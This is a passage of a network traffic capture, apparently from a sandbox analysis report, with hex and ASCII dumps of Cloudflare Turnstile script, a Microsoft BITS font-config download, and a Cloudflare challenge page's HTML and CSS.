o=Object.getOwnPropertySymbols(e);r&&(o=o.filter(function(c){return Object.getOwnPropertyDescriptor(e,c).enumerable})),n.push.apply(n,o)}return n}function nt(e,r){return r=r!=nu
2024-11-22 21:59:39 UTC	1369	IN	Data Raw: 72 61 79 24 2f 2e 74 65 73 74 28 6e 29 29 72 65 74 75 72 6e 20 61 74 28 65 2c 72 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 41 65 28 65 2c 72 29 7b 72 65 74 75 72 6e 20 6a 74 28 65 29 7c 7c 71 74 28 65 2c 72 29 7c 7c 47 74 28 65 2c 72 29 7c 7c 7a 74 28 29 7d 66 75 6e 63 74 69 6f 6e 20 46 28 65 29 7b 22 40 73 77 63 2f 68 65 6c 70 65 72 73 20 2d 20 74 79 70 65 6f 66 22 3b 72 65 74 75 72 6e 20 65 26 26 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 65 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 3d 3d 53 79 6d 62 6f 6c 3f 22 73 79 6d 62 6f 6c 22 3a 74 79 70 65 6f 66 20 65 7d 66 75 6e 63 74 69 6f 6e 20 55 65 28 65 2c 72 29 7b 76 61 72 20 6e 3d 7b 6c 61 62 65 6c 3a 30 2c 73 65 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 75 5b 30 Data Ascii: ray$/.test(n))return at(e,r)}}function Ae(e,r){return jt(e)\|\|qt(e,r)\|\|Gt(e,r)\|\|zt()}function F(e){"@swc/helpers - typeof";return e&&typeof Symbol!="undefined"&&e.constructor===Symbol?"symbol":typeof e}function Ue(e,r){var n={label:0,sent:function(){if(u[0
2024-11-22 21:59:39 UTC	1369	IN	Data Raw: 74 69 6f 6e 3a 22 54 75 72 6e 73 74 69 6c 65 27 73 20 61 70 69 2e 6a 73 20 77 61 73 20 6c 6f 61 64 65 64 2c 20 62 75 74 20 74 68 65 20 69 66 72 61 6d 65 20 75 6e 64 65 72 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 6c 6f 61 64 65 64 2e 20 48 61 73 20 74 68 65 20 76 69 73 69 74 6f 72 20 62 6c 6f 63 6b 65 64 20 73 6f 6d 65 20 70 61 72 74 73 20 6f 66 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 6f 72 20 61 72 65 20 74 68 65 79 20 73 65 6c 66 2d 68 6f 73 74 69 6e 67 20 61 70 69 2e 6a 73 3f 22 7d 3b 76 61 72 20 59 74 3d 33 30 30 30 32 30 3b 76 61 72 20 44 65 3d 33 30 30 30 33 30 3b 76 61 72 20 56 65 3d 33 30 30 30 33 31 3b 76 61 72 20 6a 3b 28 66 75 Data Ascii: tion:"Turnstile's api.js was loaded, but the iframe under challenges.cloudflare.com could not be loaded. Has the visitor blocked some parts of challenges.cloudflare.com or are they self-hosting api.js?"};var Yt=300020;var De=300030;var Ve=300031;var j;(fu
2024-11-22 21:59:39 UTC	1369	IN	Data Raw: 3d 22 6e 65 76 65 72 22 2c 65 2e 4d 41 4e 55 41 4c 3d 22 6d 61 6e 75 61 6c 22 2c 65 2e 41 55 54 4f 3d 22 61 75 74 6f 22 7d 29 28 4a 7c 7c 28 4a 3d 7b 7d 29 29 3b 76 61 72 20 69 65 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 4e 45 56 45 52 3d 22 6e 65 76 65 72 22 2c 65 2e 4d 41 4e 55 41 4c 3d 22 6d 61 6e 75 61 6c 22 2c 65 2e 41 55 54 4f 3d 22 61 75 74 6f 22 7d 29 28 69 65 7c 7c 28 69 65 3d 7b 7d 29 29 3b 76 61 72 20 58 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 41 4c 57 41 59 53 3d 22 61 6c 77 61 79 73 22 2c 65 2e 45 58 45 43 55 54 45 3d 22 65 78 65 63 75 74 65 22 2c 65 2e 49 4e 54 45 52 41 43 54 49 4f 4e 5f 4f 4e 4c 59 3d 22 69 6e 74 65 72 61 63 74 69 6f 6e 2d 6f 6e 6c 79 22 7d 29 28 58 7c 7c 28 58 3d 7b 7d 29 29 3b 76 61 72 20 70 65 3b 28 66 75 Data Ascii: ="never",e.MANUAL="manual",e.AUTO="auto"})(J\|\|(J={}));var ie;(function(e){e.NEVER="never",e.MANUAL="manual",e.AUTO="auto"})(ie\|\|(ie={}));var X;(function(e){e.ALWAYS="always",e.EXECUTE="execute",e.INTERACTION_ONLY="interaction-only"})(X\|\|(X={}));var pe;(fu
2024-11-22 21:59:39 UTC	1369	IN	Data Raw: 65 3d 3d 3d 22 61 75 74 6f 22 7c 7c 4e 72 2e 74 65 73 74 28 65 29 7d 66 75 6e 63 74 69 6f 6e 20 67 74 28 65 29 7b 72 65 74 75 72 6e 20 4d 28 5b 22 61 6c 77 61 79 73 22 2c 22 65 78 65 63 75 74 65 22 2c 22 69 6e 74 65 72 61 63 74 69 6f 6e 2d 6f 6e 6c 79 22 5d 2c 65 29 7d 66 75 6e 63 74 69 6f 6e 20 51 74 28 65 29 7b 72 65 74 75 72 6e 20 4d 28 5b 22 74 72 75 65 22 2c 22 66 61 6c 73 65 22 5d 2c 65 29 7d 66 75 6e 63 74 69 6f 6e 20 79 74 28 65 29 7b 72 65 74 75 72 6e 20 4d 28 5b 22 72 65 6e 64 65 72 22 2c 22 65 78 65 63 75 74 65 22 5d 2c 65 29 7d 76 61 72 20 24 74 3d 33 30 30 2c 4a 74 3d 31 30 3b 66 75 6e 63 74 69 6f 6e 20 68 74 28 65 29 7b 76 61 72 20 72 3d 6e 65 77 20 55 52 4c 53 65 61 72 63 68 50 61 72 61 6d 73 3b 69 66 28 65 2e 70 61 72 61 6d 73 2e 5f 64 65 Data Ascii: e==="auto"\|\|Nr.test(e)}function gt(e){return M(["always","execute","interaction-only"],e)}function Qt(e){return M(["true","false"],e)}function yt(e){return M(["render","execute"],e)}var $t=300,Jt=10;function ht(e){var r=new URLSearchParams;if(e.params._de
2024-11-22 21:59:39 UTC	1369	IN	Data Raw: 61 76 30 2f 72 63 76 22 29 2e 63 6f 6e 63 61 74 28 6f 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 65 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 72 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 6e 2e 74 68 65 6d 65 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 45 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 6e 2e 73 69 7a 65 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 6e 2e 6c 61 6e 67 75 61 67 65 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 70 29 7d 76 61 72 20 52 74 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 72 2c 6e 2c 6f 3d 77 69 6e 64 6f 77 2e 69 6e 6e 65 72 57 69 64 74 68 3c 34 30 30 2c 63 3d 65 2e 73 74 61 74 65 3d 3d 3d 53 65 2e 46 41 49 4c 55 52 45 5f 46 45 45 44 42 41 43 4b 7c 7c 65 2e 73 74 61 74 65 3d 3d 3d 53 65 2e 46 41 49 4c 55 52 45 5f 48 41 56 49 4e 47 5f 54 52 4f 55 42 Data Ascii: av0/rcv").concat(o,"/").concat(e,"/").concat(r,"/").concat(n.theme,"/").concat(E,"/").concat(n.size,"/").concat(n.language,"/").concat(p)}var Rt=function(e){var r,n,o=window.innerWidth<400,c=e.state===Se.FAILURE_FEEDBACK\|\|e.state===Se.FAILURE_HAVING_TROUB
2024-11-22 21:59:39 UTC	1369	IN	Data Raw: 63 74 7c 7c 52 65 66 6c 65 63 74 2e 63 6f 6e 73 74 72 75 63 74 2e 73 68 61 6d 29 72 65 74 75 72 6e 21 31 3b 69 66 28 74 79 70 65 6f 66 20 50 72 6f 78 79 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 29 72 65 74 75 72 6e 21 30 3b 74 72 79 7b 72 65 74 75 72 6e 20 42 6f 6f 6c 65 61 6e 2e 70 72 6f 74 6f 74 79 70 65 2e 76 61 6c 75 65 4f 66 2e 63 61 6c 6c 28 52 65 66 6c 65 63 74 2e 63 6f 6e 73 74 72 75 63 74 28 42 6f 6f 6c 65 61 6e 2c 5b 5d 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 29 29 2c 21 30 7d 63 61 74 63 68 28 65 29 7b 72 65 74 75 72 6e 21 31 7d 7d 66 75 6e 63 74 69 6f 6e 20 49 65 28 65 2c 72 2c 6e 29 7b 72 65 74 75 72 6e 20 6a 65 28 29 3f 49 65 3d 52 65 66 6c 65 63 74 2e 63 6f 6e 73 74 72 75 63 74 3a 49 65 3d 66 75 6e 63 74 69 6f 6e 28 63 2c 75 2c 67 29 7b 76 61 72 Data Ascii: ct\|\|Reflect.construct.sham)return!1;if(typeof Proxy=="function")return!0;try{return Boolean.prototype.valueOf.call(Reflect.construct(Boolean,[],function(){})),!0}catch(e){return!1}}function Ie(e,r,n){return je()?Ie=Reflect.construct:Ie=function(c,u,g){var
2024-11-22 21:59:39 UTC	1369	IN	Data Raw: 73 2c 6e 29 3b 76 61 72 20 75 3b 72 65 74 75 72 6e 20 75 3d 72 2e 63 61 6c 6c 28 74 68 69 73 2c 6f 29 2c 4d 65 28 42 65 28 75 29 2c 22 63 6f 64 65 22 2c 76 6f 69 64 20 30 29 2c 75 2e 6e 61 6d 65 3d 22 54 75 72 6e 73 74 69 6c 65 45 72 72 6f 72 22 2c 75 2e 63 6f 64 65 3d 63 2c 75 7d 72 65 74 75 72 6e 20 6e 7d 28 71 65 28 45 72 72 6f 72 29 29 3b 66 75 6e 63 74 69 6f 6e 20 6d 28 65 2c 72 29 7b 76 61 72 20 6e 3d 22 5b 43 6c 6f 75 64 66 6c 61 72 65 20 54 75 72 6e 73 74 69 6c 65 5d 20 22 2e 63 6f 6e 63 61 74 28 65 2c 22 2e 22 29 3b 74 68 72 6f 77 20 6e 65 77 20 64 72 28 6e 2c 72 29 7d 66 75 6e 63 74 69 6f 6e 20 62 28 65 29 7b 63 6f 6e 73 6f 6c 65 2e 77 61 72 6e 28 22 5b 43 6c 6f 75 64 66 6c 61 72 65 20 54 75 72 6e 73 74 69 6c 65 5d 20 22 2e 63 6f 6e 63 61 74 28 Data Ascii: s,n);var u;return u=r.call(this,o),Me(Be(u),"code",void 0),u.name="TurnstileError",u.code=c,u}return n}(qe(Error));function m(e,r){var n="[Cloudflare Turnstile] ".concat(e,".");throw new dr(n,r)}function b(e){console.warn("[Cloudflare Turnstile] ".concat(
2024-11-22 21:59:39 UTC	1369	IN	Data Raw: 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 64 69 76 22 29 3b 6c 2e 73 74 79 6c 65 2e 70 6f 73 69 74 69 6f 6e 3d 22 66 69 78 65 64 22 2c 6c 2e 73 74 79 6c 65 2e 7a 49 6e 64 65 78 3d 22 32 31 34 37 34 38 33 36 34 36 22 2c 6c 2e 73 74 79 6c 65 2e 77 69 64 74 68 3d 22 31 30 30 76 77 22 2c 6c 2e 73 74 79 6c 65 2e 68 65 69 67 68 74 3d 22 31 30 30 76 68 22 2c 6c 2e 73 74 79 6c 65 2e 74 6f 70 3d 22 30 22 2c 6c 2e 73 74 79 6c 65 2e 6c 65 66 74 3d 22 30 22 2c 6c 2e 73 74 79 6c 65 2e 74 72 61 6e 73 66 6f 72 6d 4f 72 69 67 69 6e 3d 22 63 65 6e 74 65 72 20 63 65 6e 74 65 72 22 2c 6c 2e 73 74 79 6c 65 2e 6f 76 65 72 66 6c 6f 77 58 3d 22 68 69 64 64 65 6e 22 2c 6c 2e 73 74 79 6c 65 2e 6f 76 65 72 66 6c 6f 77 59 3d 22 61 75 74 6f 22 2c 6c 2e 73 74 Data Ascii: cument.createElement("div");l.style.position="fixed",l.style.zIndex="2147483646",l.style.width="100vw",l.style.height="100vh",l.style.top="0",l.style.left="0",l.style.transformOrigin="center center",l.style.overflowX="hidden",l.style.overflowY="auto",l.st

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.16	49720	23.218.208.109	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 21:59:39 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-22 21:59:40 UTC	534	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Last-Modified: Tue, 16 May 2017 22:58:00 GMT ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json X-Azure-Ref: 0WwMRYwAAAABe7whxSEuqSJRuLqzPsqCaTE9OMjFFREdFMTcxNQBjZWZjMjU4My1hOWIyLTQ0YTctOTc1NS1iNzZkMTdlMDVmN2Y= Cache-Control: public, max-age=67562 Date: Fri, 22 Nov 2024 21:59:40 GMT Content-Length: 55 Connection: close X-CID: 2
2024-11-22 21:59:40 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.16	49722	104.18.95.41	443	6608	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 21:59:39 UTC	764	OUT	GET /cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv0/0/ypud6/0x4AAAAAAADnPIDROrmt1Wwj/light/fbE/normal/auto/ HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-22 21:59:40 UTC	1362	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 21:59:40 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 26439 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 permissions-policy: accelerometer=(),autoplay=(),browsing-topics=(),camera=(),clipboard-read=(),clipboard-write=(),geolocation=(),gyroscope=(),hid=(),interest-cohort=(),magnetometer=(),microphone=(),payment=(),publickey-credentials-get=(),screen-wake-lock=(),serial=(),sync-xhr=(),usb=() content-security-policy: frame-src https://challenges.cloudflare.com/; base-uri 'self' cross-origin-embedder-policy: require-corp cross-origin-opener-policy: same-origin cross-origin-resource-policy: cross-origin origin-agent-cluster: ?1 accept-ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA critical-ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA referrer-policy: same-origin document-policy: js-profiling
2024-11-22 21:59:40 UTC	82	IN	Data Raw: 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 65 36 63 33 30 31 63 62 38 36 30 31 38 38 35 2d 45 57 52 0d 0a 61 6c 74 2d 73 76 63 3a 20 68 33 3d 22 3a 34 34 33 22 3b 20 6d 61 3d 38 36 34 30 30 0d 0a 0d 0a Data Ascii: Server: cloudflareCF-RAY: 8e6c301cb8601885-EWRalt-svc: h3=":443"; ma=86400
2024-11-22 21:59:40 UTC	1294	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 22 3e 0a Data Ascii: <!DOCTYPE HTML><html lang="en-US"><head> <meta http-equiv="X-UA-Compatible" content="IE=Edge,chrome=1"> <meta name="robots" content="noindex, nofollow" /> <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
2024-11-22 21:59:40 UTC	1369	IN	Data Raw: 64 64 69 6e 67 3a 30 3b 77 69 64 74 68 3a 31 30 30 25 7d 2e 6d 61 69 6e 2d 77 72 61 70 70 65 72 2c 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 33 32 33 32 33 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 2d 61 70 70 6c 65 2d 73 79 73 74 65 6d 2c 73 79 73 74 65 6d 2d 75 69 2c 62 6c 69 6e 6b 6d 61 63 73 79 73 74 65 6d 66 6f 6e 74 2c 53 65 67 6f 65 20 55 49 2c 72 6f 62 6f 74 6f 2c 6f 78 79 67 65 6e 2c 75 62 75 6e 74 75 2c 48 65 6c 76 65 74 69 63 61 20 4e 65 75 65 2c 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 3b 2d 77 65 62 6b 69 74 2d 66 6f 6e 74 2d 73 6d 6f 6f 74 68 69 6e 67 3a 61 6e 74 69 61 6c 69 61 73 65 Data Ascii: dding:0;width:100%}.main-wrapper,body{background-color:#fff;color:#232323;font-family:-apple-system,system-ui,blinkmacsystemfont,Segoe UI,roboto,oxygen,ubuntu,Helvetica Neue,arial,sans-serif;font-size:14px;font-weight:400;-webkit-font-smoothing:antialiase
2024-11-22 21:59:40 UTC	1369	IN	Data Raw: 73 74 72 6f 6b 65 3a 23 30 33 38 31 32 37 3b 61 6e 69 6d 61 74 69 6f 6e 3a 66 69 72 65 77 6f 72 6b 20 2e 33 73 20 65 61 73 65 2d 6f 75 74 20 31 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 31 3b 73 74 72 6f 6b 65 2d 64 61 73 68 61 72 72 61 79 3a 33 32 20 33 32 3b 73 74 72 6f 6b 65 2d 64 61 73 68 6f 66 66 73 65 74 3a 2d 38 7d 23 73 75 63 63 65 73 73 2d 74 65 78 74 7b 61 6e 69 6d 61 74 69 6f 6e 3a 66 61 64 65 2d 69 6e 20 31 73 20 66 6f 72 77 61 72 64 73 3b 6f 70 61 63 69 74 79 3a 30 7d 2e 73 75 63 63 65 73 73 2d 63 69 72 63 6c 65 7b 73 74 72 6f 6b 65 2d 64 61 73 68 6f 66 66 73 65 74 3a 30 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 32 3b 73 74 72 6f 6b 65 2d 6d 69 74 65 72 6c 69 6d 69 74 3a 31 30 3b 73 74 72 6f 6b 65 3a 23 30 33 38 31 32 37 3b 66 69 6c 6c 3a 23 Data Ascii: stroke:#038127;animation:firework .3s ease-out 1;stroke-width:1;stroke-dasharray:32 32;stroke-dashoffset:-8}#success-text{animation:fade-in 1s forwards;opacity:0}.success-circle{stroke-dashoffset:0;stroke-width:2;stroke-miterlimit:10;stroke:#038127;fill:#
2024-11-22 21:59:40 UTC	1369	IN	Data Raw: 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 3a 6c 69 6e 6b 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 3a 76 69 73 69 74 65 64 7b 63 6f 6c 6f 72 3a 23 62 62 62 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 3a 61 63 74 69 76 65 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 3a 66 6f 63 75 73 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 3a 68 6f 76 65 72 2c 2e 74 68 65 6d 65 2d 64 61 72 Data Ascii: e-dark #challenge-overlay a,.theme-dark #challenge-overlay a:link,.theme-dark #challenge-overlay a:visited{color:#bbb}.theme-dark #challenge-error-text a:active,.theme-dark #challenge-error-text a:focus,.theme-dark #challenge-error-text a:hover,.theme-dar
2024-11-22 21:59:40 UTC	1369	IN	Data Raw: 32 30 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 2e 6c 6f 67 6f 2d 74 65 78 74 7b 66 69 6c 6c 3a 23 66 66 66 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 6c 69 6e 6b 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 76 69 73 69 74 65 64 7b 63 6f 6c 6f 72 3a 23 62 62 62 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 61 63 74 69 76 65 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 66 6f 63 75 73 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 Data Ascii: 20}.theme-dark .logo-text{fill:#fff}.theme-dark #fr-helper-loop-link,.theme-dark #fr-helper-loop-link:link,.theme-dark #fr-helper-loop-link:visited{color:#bbb}.theme-dark #fr-helper-loop-link:active,.theme-dark #fr-helper-loop-link:focus,.theme-dark #fr-h
2024-11-22 21:59:40 UTC	1369	IN	Data Raw: 3b 73 74 72 6f 6b 65 2d 64 61 73 68 6f 66 66 73 65 74 3a 31 36 36 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 32 3b 73 74 72 6f 6b 65 2d 6d 69 74 65 72 6c 69 6d 69 74 3a 31 30 3b 73 74 72 6f 6b 65 3a 23 64 65 31 33 30 33 3b 66 69 6c 6c 3a 23 64 65 31 33 30 33 3b 61 6e 69 6d 61 74 69 6f 6e 3a 73 74 72 6f 6b 65 20 2e 36 73 20 63 75 62 69 63 2d 62 65 7a 69 65 72 28 2e 36 35 2c 30 2c 2e 34 35 2c 31 29 20 66 6f 72 77 61 72 64 73 7d 2e 66 61 69 6c 75 72 65 2d 63 72 6f 73 73 7b 66 69 6c 6c 3a 23 66 66 66 3b 74 72 61 6e 73 66 6f 72 6d 2d 6f 72 69 67 69 6e 3a 62 6f 74 74 6f 6d 20 63 65 6e 74 65 72 7d 40 6b 65 79 66 72 61 6d 65 73 20 66 61 64 65 2d 69 6e 2e 61 6e 69 6d 61 74 69 6f 6e 7b 30 25 7b 66 69 6c 6c 3a 23 64 65 31 33 30 33 3b 73 74 72 6f 6b 65 3a 23 64 65 31 Data Ascii: ;stroke-dashoffset:166;stroke-width:2;stroke-miterlimit:10;stroke:#de1303;fill:#de1303;animation:stroke .6s cubic-bezier(.65,0,.45,1) forwards}.failure-cross{fill:#fff;transform-origin:bottom center}@keyframes fade-in.animation{0%{fill:#de1303;stroke:#de1
2024-11-22 21:59:40 UTC	1369	IN	Data Raw: 61 79 3a 66 6c 65 78 3b 66 6c 65 78 2d 66 6c 6f 77 3a 63 6f 6c 75 6d 6e 20 6e 6f 77 72 61 70 3b 67 61 70 3a 30 3b 68 65 69 67 68 74 3a 31 34 30 70 78 3b 70 61 64 64 69 6e 67 3a 31 32 70 78 20 30 3b 70 6c 61 63 65 2d 63 6f 6e 74 65 6e 74 3a 73 70 61 63 65 2d 62 65 74 77 65 65 6e 7d 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 2e 6c 69 6e 6b 2d 73 70 61 63 65 72 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 33 70 78 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 33 70 78 7d 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 2e 63 62 2d 63 7b 6d 61 72 67 69 6e 3a 30 20 31 32 70 78 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 6c 65 66 74 7d 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 2e 63 62 2d 63 6f 6e 74 61 69 6e 65 72 7b 6d 61 72 67 69 6e 3a 30 20 31 32 70 78 7d 2e 73 69 7a 65 2d 63 6f 6d Data Ascii: ay:flex;flex-flow:column nowrap;gap:0;height:140px;padding:12px 0;place-content:space-between}.size-compact .link-spacer{margin-left:3px;margin-right:3px}.size-compact .cb-c{margin:0 12px;text-align:left}.size-compact .cb-container{margin:0 12px}.size-com
2024-11-22 21:59:40 UTC	1369	IN	Data Raw: 69 7b 6c 65 66 74 3a 32 35 35 70 78 7d 2e 72 74 6c 20 23 66 72 2d 68 65 6c 70 65 72 2c 2e 72 74 6c 20 23 66 72 2d 6f 76 65 72 72 75 6e 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2e 32 35 65 6d 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 30 7d 2e 72 74 6c 20 23 62 72 61 6e 64 69 6e 67 7b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 31 36 70 78 3b 77 69 64 74 68 3a 39 30 70 78 7d 2e 72 74 6c 20 23 62 72 61 6e 64 69 6e 67 2c 2e 72 74 6c 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 23 62 72 61 6e 64 69 6e 67 7b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 30 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 6c 65 66 74 7d 2e 72 74 6c 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 23 62 72 61 6e 64 69 6e 67 7b 61 6c 69 67 6e 2d 73 65 6c 66 3a 66 6c 65 Data Ascii: i{left:255px}.rtl #fr-helper,.rtl #fr-overrun{margin-left:.25em;margin-right:0}.rtl #branding{margin:0 0 0 16px;width:90px}.rtl #branding,.rtl.size-compact #branding{padding-left:0;padding-right:0;text-align:left}.rtl.size-compact #branding{align-self:fle
